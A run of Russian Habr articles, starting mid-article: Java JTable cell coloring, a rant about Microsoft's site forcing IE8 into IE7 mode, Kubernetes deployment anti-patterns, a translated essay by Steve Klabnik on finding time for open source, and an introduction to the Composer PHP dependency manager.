Теперь я начал искать в Интернете самое нужное мне, отрисовку ячеек, строк и колонок.
Как ни странно, но все ссылки с обещанием именно того, что нужно мне, вели [сюда](http://skipy-ru.livejournal.com/1577.html).
информация очень ценная, но по дизайну скудная и про TableCellRenderer, говорилось мало. Я начал сам эксперементировать с разными способами окраски таблицы и что я узнал в итоге?
```
//метод внутри класса
public Component getTableCellRendererComponent( JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {...}
//для меня как дизайнера означал следующее:
//@param: table - глобально применяет окрашивание в указанным строкам, ячейкам, столбцам
//@param: value - применяет окрашивание к указанному значению в ячейке
//@param: isSelected - это понятно и без объяснений (применяет окрашивание к выделению)
//@param: hasFocus - применяет окрашивание к выделенной ячейке
//@param: row - применяет окрашивание в указанной по индексу строке
//@param: column - применяет окрашивание в указанной по индексу колонке
```
Примеры окрашивания в таблице JTable:
```
//раз уж мы наследовались от JLabel, то в начале метода ставим, что-то типа
JLabel c = new JLabel(value.toString());
//мы будем тыкать лейблы везде, чтобы отобразить все данные таблицы сразу - value.toString()
//если в любой ячейке есть текст "jpg", красим её красивым цветом
if(value.equals("jpg")){c.setOpaque(true);c.setBackground(new Color(152, 251, 152));}
//первая колонка у нас имеет свой индивидуальный окрас
if(column==0){c.setOpaque(true);c.setBackground(new Color(255, 248, 220));}
//эта строка у нас будет покрашена в розовый, если в седьмой колонке есть строка со значением "iff"
if(table.getValueAt(row, 7).equals("iff")){ c.setOpaque(true);
c.setBackground(new Color(255, 105, 180));
c.setForeground(Color.white);}
//проверим два целых числа колонок: четыре и пять, и если условие ложно красим строку красным цветом
//и... предупреждаем пользователя об ошибке в выбранной колонке нашей таблицы и пишем в модель таблицы
//кстати, не конвертируйте значений так: (String)table.getModel().getValueAt(row, 4)
//это вызовет ошибку компиляции
int a = Integer.parseInt(""+table.getModel().getValueAt(row, 4));
int b = Integer.parseInt(""+table.getModel().getValueAt(row, 5));
if(a > b)
{
c.setOpaque(true);c.setBackground(Color.red);c.setForeground(Color.yellow);
if(column==8)
{
c.setText("Error this value: colomn - \"Start\", row - " + (row+1));
table.getModel().setValueAt(c.getText(), row, column);
}
}
else
{
//а это я проверил, вдруг файл на диске не найден, это тоже нужно показать пользователю
//и восстановить значение в восьмой колонке, если пользователь исправил ошибку
//хотя, указанным способом, можно просто самим исправить значение на нужное сразу после проверки
//значений колонок четыре и пять на истинность
if(column==8)
{
java.io.File f = new java.io.File((String) table.getModel().getValueAt(row, 9));
if(f.exists())
{
table.getModel().setValueAt("", row, column);
}
else
{
table.getModel().setValueAt("", row, column);
c.setOpaque(true);c.setBackground(Color.red);c.setForeground(Color.yellow);
}
}
}
//этот шикарный код взят с http://skipy-ru.livejournal.com/1577.html
//его назначение - в зависимости от темы приложения менять стиль таблицы
// using L&F colors
if(isSelected)
{
c.setOpaque(true);
c.setForeground(isSelected ?
UIManager.getColor("Table.selectionForeground") :
UIManager.getColor("Table.foreground"));
c.setBackground(isSelected ?
UIManager.getColor("Table.selectionBackground") :
UIManager.getColor("Table.background"));
c.setBorder(hasFocus ?
BorderFactory.createLineBorder(UIManager.getColor("Table.selectionForeground"), 1) :
BorderFactory.createEmptyBorder(2, 2, 2, 2));
//а здесь, я проверил на указанные значения ячейки и если они истинны
//мы изменяем цвет выделенных ячейки на нужный
if(value.equals("jpg")){c.setOpaque(true);c.setBackground(new Color(0, 128, 128));}
if(value.equals("png")){c.setOpaque(true);c.setBackground(new Color(250, 250, 210));}
if(value.equals("iff")){c.setOpaque(true);c.setBackground(new Color(72, 61, 139));c.setForeground(Color.white);}
if(column==0){c.setOpaque(true);c.setBackground(new Color(210, 105, 30));}
}
```
Ну вот, вроде бы и все.
Теперь все работает — сохраняется в файл и раскрашивается в нужный цвет.
Для реализации своего замысла я использовал среду разработки Eclipse v. 3.7
Ну и… Если вы дочитали до этого места, то спасибо вам за потраченное время.
Если вы хотите задать вопрос типа: «А как мне это сделать с базой данных?» или «Почему, реализуя циклы типа for при проверке значений в классе JCTableCellRenderer у меня ужасно висит таблица», то пожалуй добавлю, что на базах данных выше указанного кода я не применял (но почему-то уверен, что он работает стабильно), и еще — циклы реализованные в классах рисования, это такое же извращение как и таймеры на таймлайне клипов во Flash. Рекомендую всегда оптимизировать свой код по принципу — «чем проще, тем быстрее».
Нужные внешние классы и код самой программы [прилагаются](http://bpiter.land.ru/testTable.zip) (открывать в Eclipse).
Удачи всем. | https://habr.com/ru/post/137352/ | null | ru | null |
# MS не осилило верстку под IE8?
Как-то чисто случайно заглянул в исходник страницы [www.microsoft.com/expression](http://www.microsoft.com/expression/).
О боже мой! Что это в секции head?
Для тех, кто не знает, что это значит: восьмой ишак при попадании на данную страницу будет вести себя как седьмой. Я лично (ну, может, есть еще варианты использования, а? :)) юзал это, чтобы в восьмом ие (который идеально поддерживает стандарты, ага) мои страницы выглядели лучше, чем внутренности мертвой панды.
Бравые молодцы не могут сверстать сайт по восьмерку? Или в чем дело? Рад выслушать ваши мнения в комментах :)
ПС ППНХ
ПС для тех, кто не понял сарказма: плохие ребята не верстальщики, а аффтары осла. Ну это, конечно, мое личное мнение :)
ПС2 Сколько тут, однако, фанов осла О\_о | https://habr.com/ru/post/55126/ | null | ru | null |
# Антипаттерны деплоя в Kubernetes. Часть 2
Перед вами вторая часть руководства по **антипаттернам деплоя в Kubernetes**. Советуем также ознакомиться с [первой частью](https://habr.com/ru/company/timeweb/blog/557320/).
Список антипаттернов, которые мы рассмотрим:
1. Использование образов с тегом latest
2. Сохранение конфигурации внутри образов
3. Использование приложением компонентов Kubernetes без необходимости
4. Использование для деплоя приложений инструментов для развёртывания инфраструктуры
5. Изменение конфигурации вручную
6. **Использование кubectl в качестве инструмента отладки**
7. **Непонимание сетевых концепций Kubernetes**
8. **Использование неизменяемых тестовых окружений вместо динамических сред**
9. **Смешивание кластеров Production и Non-Production**
10. **Развёртывание приложений без Limits**
11. Неправильное использование Health Probes
12. Не используете Helm
13. Не собираете метрики приложений, позволяющие оценить их работу
14. Отсутствие единого подхода к хранению конфиденциальных данных
15. Попытка перенести все ваши приложения в Kubernetes
6. Использование кubectl в качестве инструмента отладки
-------------------------------------------------------
Утилита `kubectl` незаменима при работе с кластерами Kubernetes. Но не стоит использовать её как единственный отладочный инструмент.
При возникновении проблем, особенно в production кластере, вашим первым импульсом не должен быть запуск `kubectl`. Если вы поступаете именно так, то вы уже проиграли битву, особенно если сейчас 3 часа ночи, сервисы не работают, и вы на связи.
```
kubectl get ns
kubectl get pods -n sales
kubectl describe pod prod-app-1233445 -n sales
kubectl get svc -n sales
kubectl describe...
```
Вместо этого все ваши кластеры Kubernetes должны иметь надлежащие системы мониторинга, трассировки и сбора логов, которые можно использовать для своевременного выявления проблем. Если вам нужно запустить kubectl для проверки чего-либо, это означает, что вы не учли это, настраивая вашу систему мониторинга.
Сложно переоценить ценность метрик и трассировок, мы расскажем о них отдельно в одном из следующих антипаттернов.
Даже если вы просто хотите проверить конфигурацию кластера, вы также можете использовать для этой цели специальный инструмент. Сегодня существует множество решений для работы с кластерами Kubernetes.
Например, обратите внимание на [Kubevious](https://habr.com/ru/company/timeweb/blog/561060/), это универсальная панель управления Kubernetes, которая позволяет вам искать и отображать ресурсы Kubernetes в соответствии с настраиваемыми правилами.
7. Непонимание сетевых концепций Kubernetes
-------------------------------------------
Прошли те времена, когда единственный балансировщик нагрузки был всем, что необходимо для настройки подключения к вашему приложению. Kubernetes представляет свою собственную сетевую модель, и вам нужно разобраться с её основными концепциями. По крайней мере, вы должны быть знакомы с типами сервисов - `Load Balancer`, `Cluster IP`, `Node Port` и понимать, чем сервисы отличаются от [Ingress](https://kubernetes.io/docs/concepts/services-networking/ingress/).
Сервисы типа `Сluster IP` используются внутри кластера, `Node Port` также могут использоваться внутри кластера, но при этом доступны снаружи, а балансировщики нагрузки могут принимать только входящий трафик.
Но это ещё не всё — потребуется разобраться, как в кластере Kubernetes работает DNS. И не забывать, что весь трафик между служебными компонентами шифруется и нужно контролировать срок действия сертификатов.
Будет полезно разобраться, [что такое Service Mesh](https://smi-spec.io/) и какие проблемы она решает. Необязательно разворачивать Service Mesh в каждом кластере Kubernetes. Но желательно понимать, как она работает и зачем вам это нужно.
Вы можете возразить, что разработчику не нужно знать множество сетевых концепций для развертывания приложения, и вы будете правы. Нам нужна абстракция для разработчиков поверх Kubernetes, но у нас ее пока нет.
Как разработчик, вы должны знать, как трафик достигает вашего приложения. Если запрос должен выполнить 5 хопов между подами, узлами и службами, при этом каждый хоп имеет потенциальную задержку 100 мс, то ваши пользователи могут столкнуться с задержкой в 500 мс при посещении веб-страницы. Вы должны знать об этом, чтобы ваши усилия по оптимизации времени отклика были сосредоточены на устранении узких мест.
8. Использование неизменяемых тестовых окружений вместо динамических сред
-------------------------------------------------------------------------
Когда вы используете виртуальные машины или физические сервера, то командам разработчиков программного обеспечения обычно предоставляется несколько тестовых сред, которые используются для проверки приложения, прежде чем оно попадет в production.
Один из наиболее распространенных подходов — наличие как минимум трех сред (QA / Staging / Production), в зависимости от размера компании их может быть больше. Наиболее важной из них является «интеграционная», которая содержит результат слияния всех обновлений с основной веткой.
Когда вы используете неизменяемые тестовые среды, вы платите за них, даже если они не используются. Но наиболее серьёзной проблемой является изоляция обновлений для последующего тестирования.
Если вы используете единое окружение для интеграции, когда несколько разработчиков выполняют слияние результатов работы и что-то ломается, не сразу становится понятно, какая из функций вызвала проблему. Если 3 разработчика объединяют свои функции в промежуточной среде и развертывание завершается неудачно (либо сборка завершается неудачно, либо тесты интеграции терпят неудачу, либо показатели взрываются...), тогда существует несколько сценариев:
1. Обновление A содержит ошибки, B и C в порядке
2. Обновление B содержит ошибки, A и C в порядке
3. Обновление C содержит ошибки, B и A в порядке
4. Каждое обновление в отдельности работает, но при работе вместе с обновлениями A и B возникает ошибка
5. Каждое обновление в отдельности работает, но при работе вместе с обновлениями A и C возникает ошибка
6. Каждое обновление в отдельности работает, но при работе вместе с обновлениями B и C возникает ошибка
7. Каждое обновление в отдельности работает, но все 3 обновления вместе не работают
В результате, если после обновления возникли проблемы в работе сервиса, будет непросто понять, какое из них стало причиной возникновения проблемы.
Способы избежать подобных проблем:
1. "Резервирование" промежуточного (stage) окружения разработчиками, чтобы они имели возможность тестировать свои обновления изолированно.
2. Компания создает несколько «staging» сред, которые разработчики используют для тестирования своих обновлений (поскольку единственное staging окружение может быстро стать узким местом).
Эта ситуация по-прежнему приводит к проблемам, потому что разработчики должны не только координировать действия между собой при выборе сред, но также потому, что вы должны отслеживать действия по очистке каждой среды. Например, если нескольким разработчикам требуется набор изменений базы данных, им необходимо убедиться, что база данных содержит только необходимые данные, а не данные предыдущего разработчика, который использовал эту среду.
Кроме того, несколько промежуточных (staging) сред могут страдать от проблемы дрейфа конфигурации, когда среды должны быть одинаковыми, но после нескольких изменений это уже не так.
Решение, конечно же, состоит в том, чтобы отказаться от ручного обслуживания статических сред и перейти к динамическим средам, которые создаются и уничтожаются по запросу. С Kubernetes это очень легко сделать:
Есть много способов реализовать этот сценарий, по крайней мере, каждый запрос Pull Request должен создавать динамическую среду, содержащую только этот запрос Pull Request и ничего больше. Среда автоматически уничтожается, когда Pull Request объединяется / закрывается или по прошествии определенного времени.
Преимущество динамических сред — это полная свобода разработчиков. Если я разработчик и только что закончил работу с обновлением A, а мой коллега завершил работу над обновлением B, я должен иметь возможность:
```
git checkout master
git checkout -b feature-a-b-together
git merge feature-a
git merge feature-b
git push origin feature-a-b-together
```
Как по волшебству, будет создана динамическая среда: `feature-a-b-together.staging.company.com` или `staging.company.com/feature-a-b-together`.
Для создания динамических сред вы можете использовать, например, пространства имен Kubernetes.
Обратите внимание, что это нормально, если у вашей компании есть постоянные staging среды для специализированных нужд, таких как нагрузочное тестирование, тестирование на проникновения, развертывание A / B и т. д. Но для базового сценария «Я разработчик и хочу, чтобы моё обновление работало изолированно и запускались интеграционные тесты» динамические среды — лучшее решение.
Если вы все еще используете постоянные среды для тестирования обновлений, вы усложняете жизнь своим разработчикам, а также тратите системные ресурсы, когда ваши среды активно не используются.
9. Смешивание кластеров Production и Non-Production
---------------------------------------------------
Несмотря на то, что Kubernetes специально разработан для оркестрирования кластеров, вы не должны создавать единый кластер для всех ваших окружений. Как минимум у вас должно быть два кластера: производственный и непроизводственный.
Прежде всего, смешивание Production и Non-Production кластеров может привести к нехватке ресурсов.
Так как приложение, работающее некорректно, может утилизировать слишком много ресурсов.
Для разработчиков самая большая проблема связана с безопасностью. Если вы не предпринимаете дополнительных шагов по настройке Kubernetes, то вопреки распространенному мнению, под из одного пространства имен может свободно взаимодействовать с подом из другого пространства имен. Также есть некоторые ресурсы Kubernetes, которые вообще не имеют пространства имен.
Пространства имен Kubernetes не являются мерой безопасности. Если ваша команда обладает глубокими знаниями Kubernetes, то действительно можно поддерживать мультитенантность внутри кластера и защищать все рабочие нагрузки друг от друга. Но это требует значительных усилий, и в большинстве случаев гораздо проще создать второй кластер исключительно для production.
Если вы объедините этот антипаттерн со вторым (сохранение конфигурации внутри образов), должно стать очевидно, что может произойти множество негативных сценариев, например:
1. Разработчик создает новое пространство имен, используемое для тестирования и production.
2. Далее развертывается приложение и запускаются интеграционные тесты.
3. Интеграционные тесты записывают фиктивные данные или очищают БД.
4. К сожалению, в контейнерах были рабочие URL-адреса и конфигурация внутри них, и, таким образом, все интеграционные тесты фактически повлияли на работу production!
Чтобы не попасть в эту ловушку, гораздо проще просто создать Production и Non-Production кластера. К сожалению, многие руководства описывают сценарий при котором, пространства имен можно использовать для разделения сред, и даже в [официальной документации Kubernetes](https://kubernetes.io/docs/tasks/administer-cluster/namespaces/#subdividing-your-cluster-using-kubernetes-namespaces) есть примеры с пространствами имен prod / dev.
Обратите внимание, что в зависимости от размера вашей компании у вас может быть больше кластеров, чем два, например:
1. Production
2. Pre Production (Shadow) — клон production, но с меньшими ресурсами
3. Development кластер, который мы уже обсуждали выше
4. Специализированный кластер для нагрузочного тестирования / тестирования безопасности
5. И даже отдельный кластер для служебных инструментов
10. Развёртывание приложений без Limits
---------------------------------------
По умолчанию приложение, развернутое в Kubernetes, не имеет ограничений на использование ресурсов. Это означает, что ваше приложение потенциально может мешать работе всего кластера, поскольку утечка памяти или высокая загрузка ЦП нанесут ущерб остальным приложениям, работающим в кластере.
Это означает, что все ваши приложения (независимо от окружения) должны иметь ограничения на использование ресурсов.
К сожалению, просто взглянуть на среднюю загрузку памяти и ЦП приложением недостаточно. Вам необходимо изучить свое приложение и отследить всплески трафика и нагрузки, а также понять, как оно ведёт себя в этих условиях. Вы же не хотите, чтобы ваше приложение перезапускалось без причины.
Одно из преимуществ Kubernetes — эластичность ресурсов. Если кластер убивает / перезапускает ваше приложение, когда оно начинает обрабатывать значительную нагрузку (например, ваш интернет-магазин испытывает всплеск трафика), вы не используете все преимущества Kubenetes. Вы можете решить эту проблему с использованием [vertical pod auto-scaler](https://github.com/kubernetes/autoscaler/tree/master/vertical-pod-autoscaler) (VPA). | https://habr.com/ru/post/560772/ | null | ru | null |
# Как я нахожу время?
**На фотографии изображен автор оригинального поста, Стив Клабник, со своим отцом**[Стив Клабник](http://github.com/steveklabnik) широко известен в кругах рубистов. Он является контрибьютором во множество Open Source проектов, в том числе Ruby on Rails, Draper, Resque, Rails API, занимается преподаванием программирования и консалтингом в рамках JumpstartLab, пишет книги, увлекается политикой и без устали пишет в свой [Твиттер](http://twitter.com/steveklabnik).
Порой создается впечатление, что не существует такого *околоруби* проекта, в котором он так или иначе не принимал участие.
[Приезжал в Москву](http://habrahabr.ru/company/railsclub/blog/150734/) в рамках Rails Club Moscow 2012 с докладом о [Hypermedia API](http://designinghypermediaapis.com/) и зарекомендовал себя хорошим профессионалом и очень продуктивным человеком. По слухам, он умудряется разбирать пулл реквесты в самолете, на сцене, во время выступления, и даже на групповых фото.
Я решил перевести эту статью, потому что изложенные в ней мысли заставили меня о многом задуматься. Надеюсь, Вы получите удовольствие от прочтения и, так же как и я, извлечете для себя хотя бы крупицу пользы.
Мне часто задают вопрос: «Как ты находишь время?». Чаще всего речь идет об open source, иногда о книгах, изредка — о других вещах. Обычно я уклонялся от ответа чем-нибудь вроде: «Блин, не знаю, просто беру и *нахожу*». Но этот ответ не слишком полезен. Да и мне было интересно, смогу ли я справляться со временем еще лучше. Так что я немного порефлексировал, и вот как я нахожу время:
#### Min/max
У меня тот самый тип личности, который присущ любому конкурентноспособному игроку: любители Dungeons and Dragons называют это «min/maxing». Основная идея вот в чем: ты пытаешься минимизировать то, что плохо, и максимизировать то, что хорошо. Звучит супер очевидно, но существует много ситуаций, в которых «победа» не является твоей целью. Хороший пример «стараться быть сказочным путешественником». Если ты не нацелен строго на победу, тогда использовать min/maxing не имеет никакого смысла. Но если ты хочешь посоревноваться, то это невероятно важно.
К слову о соревнованиях, советую почитать эту книгу:
[«Playing to Win»](http://www.sirlin.net/ptw/) — это отличная книга, написанная одним из лучших в мире игроков в Street Fighter. Это мастрид для любого, кто хочет соревнования любой ценой.
В этой книге автор разрабатывает теорию «Игроков» и «Слабаков»:
> Слабак — тот, кто добровольно ограничивает себя правилами, о которых игра ничего не знает.
Очень просто понять, что кто-то является слабаком, когда он заводит разговор о «честности». Игра — это беспристрастная, закрытая система. Существуют правила этой системы, которые накладывают ограничения на игроков. Все просто, чем больше правил, тем сложнее достигнуть условий, необходимых для победы. Если ты придумываешь дополнительные правила, ты ставишь себя в невыгодное положение. Игры не бывают «честными». Игроки не ограничивают себя таким образом:
> Игрок должен использовать любой *разрешенный в рамках турнира* прием, доступный ему, который максимизирует его шансы на победу в игре
Если прием разрешен, значит игра честная. Хорошие игры написаны таким образом, что плохих приемов не существует. Пользуйся всеми доступными тебе инструментами, и пользуйся ими беспощадно.
Скажу одну вещь о мышлении слабаков: очень легко прибегнуть к нему случайно. Дополнительные правила могут быть наложены на себя самостоятельно, но также они могут появиться вследствие плохого анализа того, какими правила являются на самом деле. К примеру, самым большим проявлением моего внутреннего слабака за всю мою жизнь, был выбор, который я сделал почти десять лет назад: поступление в колледж. Каждый окружавший меня взрослый твердил мне, что высшее образование хорошая идея. Все они говорили, что оно необходимо, чтобы заполучить работу программиста. Я не стал с ними спорить и смирился с этим. Теперь у меня есть бесполезный клочок бумаги и $70.000 долгов. Колледж был вовсе не плох, но он точно не стоил долгов. Я ценю знакомства, которые я завел, но не более. Эта ошибка была сделана благодаря моей апатии по отношению к системе, регулирующей мою жизнь, чего я стараюсь не повторять.
В любом случае, эти два принципа являются фоном для всего остального: должным образом анализируй ситуацию, в которой находишься, максимизируй результаты, которые ты хочешь, и минимизируй те, которые тебе не нужны.
#### Работа
— Так чего же ты хочешь в жизни, Стив?
— Я хочу учить, я хочу работать над open source и я хочу путешествовать.
— Кажется, мы сможем что-нибудь придумать.
Если ты работаешь полнодневную работу, ты проводишь за ней 40 часов в неделю. Давай также добавим еще час на дорогу, и в итоге мы имеем 50 часов.
И как подсказывает ruby…
```
1.9.3-p194 :001 > 24 * 7
=> 168
1.9.3-p194 :002 > 50 / 168.0
=> 0.297619047619048
```
Это 30% твоей жизни. Давай проанализируем это как профессиональные геймеры. Вот ситуация, которую мы хотим максимизировать: «Я хочу жить полной жизнью». Чтобы максимизировать это, нужно исследовать ограничения. Самое большое из них, конечно же, время, отпущенное тебе на этой Земле. В конце концов, все мы когда-нибудь умрем. Главный ресурс, с которым мы должны работать, это время. Ты должен защищать свое время гораздо надежнее, чем что-либо другое, чем ты владеешь. Ты никогда не вернешь его обратно. Каждое твое действие потребляет этот самый ценный ресурс.
Когда ты подписываешь трудовой договор, ты буквально продаешь самую ценное, что у тебя есть, чтобы приобретать другие ресурсы. Не забывай об этом.
Итак, работа с девяти до пяти. 30% твоей жизни. Стоит ли оно того? Возможно! Я не могу тебе этого сказать. Но чтобы максимизировать свои результаты, тебе необходим надлежащий анализ. В этом плане трудоустройство довольно сложная вещь. Капитализм заставляет нас взаимодействовать с рынком, чтобы получать свои средства к существованию, так что мы должны как то принять участие в этой транзакции. Что делать?
А ну-ка быстро, господа стартаперы: каково первое правило ценообразования? Если вы скажете «нужно основываться на ценности, а не на стоимости», тогда вы выиграли стикер [patio11](http://www.kalzumeus.com/blog/). Ты никогда ничего не достигнешь, если будешь продавать себя по часам, ты должен продавать себя по достоинству. Эту тему обсудим в другой раз. Основная мысль в том, что ты не должен просто принимать правила на веру: анализируй ситуацию по-настоящему.
И всеравно, ни туда, ни сюда. В ежедневной перспективе, единственная причина по которой я могу делать то, что я делаю, состоит в том, что [Джефф](https://twitter.com/j3) — друг, на которого можно положиться, и работать в [Jumpstart Lab](http://jumpstartlab.com/) очень круто. Мы делаем лучшие уроки по Ruby on Rails в мире, я подчеркиваю это. Я не хочу вдаваться в детали моего трудоустройства, но по сути, преподавание, внесение вклада в open source и выступление на конференциях — это все является частью моей работы. Можешь посмотреть, насколько прямо это соответствует тому, что я утверждал выше.
Так что, если ты ценишь
* [Мою работу над Hackety Hack](http://hackety.com/)
* [Мои контрибьюты в Rails](http://contributors.rubyonrails.org/contributors/steve-klabnik/commits)
* [Мои контрибьюты в Resque](https://github.com/defunkt/resque)
* [Мои публичные выступления](http://vimeo.com/search?q=klabnik)
* [Весь остальной Open Source, которым я занят](https://github.com/steveklabnik?tab=activity)
* [Мою работу в защиту феминизма и социальной справедливости](http://confreaks.com/videos/1089-madisonruby2012-anti-opression-101)
тогда ты должен подумать о том, чтобы нанять нас через Jumpstart. Если бы мне пришлось заниматься обычным консалтингом, чтобы платить по счетам, у меня было бы гораздо меньше времени на все эти вещи.
#### Но я же не работаю в Jumpstart!
Итак, ты — не я. Ты на работе с девяти до пяти. Ты попал, да?
Никак нет! Анализируй свою ситуацию. Пойми как максимизировать её. До того, как я занялся разработкой, я [занимался этим](http://www.vocellipizza.com/consumer/index.php). Около 30 часов в неделю в старшей школе, и около 40 часов в неделю в колледже. И я *до сих пор* умудряюсь вкладывать в open source время. Как?
Дело в том, что работа над опен сорсом это то самое, что я люблю по-настоящему. Для меня это не «работа». Это не значит, что она всегда цветет и пахнет. Иногда тяжело. Иногда вообще ужасно. Тяжело. Однако, я по-настоящему это люблю, так что я прорвался через трудные времена и все в конце концов снова стало хорошо. Однажды я переживал очень тяжелый разрыв. Моя мама поведала мне афоризм, который ей постоянно повторяла бабушка:
> Ни одна собака не утащит кость, которая положена тебе
Бабули. Они такие проницательные! Суть в том, что контрибьюты в Open Source это часть меня, несмотря ни на что. Так что я всегда найду способ заниматься ими. Я не сдаюсь без боя. Когда я впервые начал работать над Shoes, у меня ушло **шесть месяцев** на то, чтобы понять, как все это скомпилировать. Шесть месяцев. Без компиляции. Полный отстой. Но я разобрался.
> Восемьдесят процентов успеха состоят в том, чтобы сдвинуться с места.
>
> *Вуди Аллен*
#### Отношения
Жить полной жизнью — значит взаимодействовать с другими людьми. Не давать какому-нибудь фетишу продуктивности негативно влиять на отношения. Я имею ввиду оба смысла, и романтический, и дружеский ;) В твоем расписании должно быть место не только для «ПРЕСВЯТАЯ БОГОРОДИЦА, ДАЙ МНЕ УСПЕТЬ ДОРАБОТАТЬ РАБОТУ В СРОК!!!11». Я например стараюсь пару раз за день разговаривать со своей второй половинкой. Если у нее есть желание. Сегодня вечером я собираюсь покататься по пляжу на велосипеде. Я до сих пор время от времени играю в StarCraft. Каждую субботу мы с друзьями собирались в компьютерном классе и зарубались.
Если ты тратишь все свое время на работу, и ни минуты на проживание своей жизни, то твоя жизнь не удалась. Опен сорс — это весело, но выйди на улицу, черт возьми. Или почитай книгу. Или еще чем-нибудь займись. Но если ты только и делаешь, что программируешь компьютеры, в таком случае ты перестал быть человеком.
#### Музыка
Слушай крутую музыку во время работы. Впервые я открыл это для себя, когда стриг газон родителей: когда я слушал Металлику, трава стриглась гораздо быстрее. Так что, пока я работаю, я слушаю паршивенькую попсу. [Вот мой канал на Pandora](http://www.pandora.com/?sc=sh588283719292597139&shareImp=true). Мне кажется что оптимистичная, счастливая музыка делает меня оптимистичным и счастливым. Я перестал стыдиться своей любви к Ke$ha. Я просто качаю головой и пишу больше кода.
#### Пускай в параллель
На самом деле я не могу быть продуктивным без того, чтобы делать шесть вещей сразу. Это относится к [«Структурированной Прокрастинации»](http://www.structuredprocrastination.com/). Я совершаю небольшие объемы работы над кучей разных вещей, и быстро между ними переключаюсь. В один день это Rails, в другой — Resque, третий — обучение, затем снова рельсы, затем Hackety…
#### lift.do
Совсем недавно я попробовал [Lift](http://lift.do/), и мне очень понравилось. Можно воспитывать свои привычки с помощью легкого социального взаимодействия. Тебе может оказаться полезным.
#### Отрезай отвлекающие факторы
Я перечислил кучу вещей, которые я делаю, чтобы максимизировать хороший результат, но как насчет минимизации плохого? В интересах минимазции, я не буду заострять на этом слишком много внимания, но вот некоторые вещи, которые я на время или насовсем отрезаю от себя, в той или иной мере:
* Телевизор
* Reddit/HN
* Мобильники
* Видеоигры
Периодически я страдаю от чего-либо из этого, но я вырезал перечисленные вещи из своего «ежедневного» цикла. Моей жизни лучше без этого. Найди то, что тебе на самом деле не нужно, и прекрати это.
;) | https://habr.com/ru/post/161713/ | null | ru | null |
# Composer — менеджер зависимостей для PHP
**Composer** ([getcomposer.org](http://getcomposer.org)) — это относительно новый и уже достаточно популярный менеджер зависимостей для PHP. Вы можете описать от каких библиотек зависит ваш проект и Composer установит нужные библиотеки за вас! Причём Composer — это не менеджер пакетов в классическом понимании. Да, он оперирует с сущностями, которые мы будем называть «пакетами» или библиотеками, но устанавливаются они внутрь каждого проекта отдельно, а не глобально (это одно из основных отличий от старого-доброго PEAR).
Кратко, как это работает:
1. У вас есть проект, который зависит от нескольких библиотек.
2. Некоторые из этих библиотек зависят от других библиотек.
3. Вы описываете в своём проекте те библиотеки, от которых непосредственно зависит ваш код.
4. Composer находит нужные версии требуемых библиотек для всего проекта, скачивает их и устанавливает в папку вашего проекта.
При создании Composer авторы черпали идеи и вдохновение из аналогичных проектов: npm для Node.js и Bundler для Ruby.
Изначально он был спроектирован и разработан двумя людьми [Nils Adermann](http://www.naderman.de/) и [Jordi Boggiano](http://seld.be/), сейчас в проекте участвует более двадцати контрибьюторов, Проект написан на PHP 5.3, распространяется под лицензией MIT и доступен на [github](http://github.com/composer).
Первые коммиты были сделаны апреле 2011 года и на сегодняшний день Composer находится в стадии «alpha3». Однако, он уже достаточно стабилен и используется многими популярными PHP проектами (например, **Symfony 2**). Список проектов использующих Composer можно посмотреть на сайте [packagist.org](http://packagist.org) — это официальный репозиторий Composer пакетов. Кстати, на недавней конференции Devconf 2012 разработчик фреймворка Yii в своём докладе упомянул, что **Yii2** скорее всего тоже будет использовать Composer.
В этой статье я кратко опишу основные возможности Composer и мы попробуем создать демонстрационный проект использующий Composer для загрузки необходимых библиотек. Все примеры будут доступны на github.com и bitbucket.org.
#### Что умеет Composer?
* Скачивать пакеты и их зависимости;
* по умолчанию, пакеты скачиваются из официального репозитория packagist.org. Любой человек может свободно добавить туда свой пакет, чтобы сделать его установку максимально лёгкой и удобной для всего мира;
* пакеты можно скачивать не только с packagist.org, но и из любого git, mercurial или svn репозитория;
* при скачивании пакетов с github.com или bitbucket.org не требуется установленной системы контроля версий (git или hg), Composer работает через API этих сайтов;
* git/hg/svn репозиторий с пакетом может находиться не только на одном из перечисленных выше сайтов, но в любом другом месте, например, в локальной сети предприятия или вообще на локальном жестком диске;
* кроме того, устанавливаемая библиотека не обязательно должна быть оформлена в виде Composer-пакета, вы можете сделать установку из любого git/hg/svn репозитория произвольной структуры;
* наконец, устанавливаемый пакет не обязательно должен быть git/hg/svn репозиторием, это может быть произвольный zip файл доступный по любому uri!
* все пакеты устанавливаются в текущую директорию (откуда была выполнена команда install), это позволяет иметь несколько различных версий библиотек при работе над разными проектами параллельно;
* команда update обновляет все установленные (или установит заново случайно удалённые) пакеты до свежих версий. А может и не обновлять версии до самых свежих, если создать специальный composer.lock файл — это позволяет зафиксировать комбинацию из стабильных версий всех используемых в проекте библиотек;
* после установки пакетов автоматически генерируется autoload.php, с помощью которого можно подключить установленные библиотеки в коде вашего проекта. При подготовке Composer-пакета рекомендуется использовать [PSR-0](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-0.md) — стандарт расположения и именования php файлов, чтобы autoload смог их легко найти. В любом случае, автор пакета может описать правила, по которым autoload будет искать файлы тех или иных классов или неймспейсов. Если вы устанавливаете библиотеку, которая не оформлена как Composer-пакет (например, произвольный git репозиторий с github), то задача описания правил autoload ложится на ваши плечи. Так что никакой магии с генерируемым autoload.php нет — он умеет загружать всё (даже библиотеки с набором функций вне классов), главное, чтобы были описаны правила (автором библиотеки или вами).
#### Рабочий пример: используем Composer в своём проекте
Чтобы разобраться, как пользоваться Composer'ом, напишем маленький проектик на PHP: «Super Hello World». Поскольку мы не хотим изобретать велосипед и писать код «с нуля», возьмём готовые библиотеки и фреймворки.
Мы будем использовать cледующие библиотеки:
1. микрофреймворк [Silex](http://silex.sensiolabs.org/) (доступен в виде Composer пакета на packagist.org),
2. шаблонизатор [Twig](http://twig.sensiolabs.org/) (доступен в виде Composer пакета на packagist.org),
3. наш собственный логер посещений [SuperLogger](http://github.com/pqr/superlogger), который я оформил в виде Composer-пакета и опубликовал на github
4. нашу старую, но любимую легаси-библиотеку [superlib](http://github.com/pqr/superlib), которая состоит из мешанины классов без неймспейсов и функций без классов; библиотека опубликована на github, но не является оформленным Composer-пакетом
Как мы это делали раньше: скачивали нужные нам фреймворки и библиотеки, думали куда их распаковать, писали в проекте кучу require (или require\_once для надёжности).
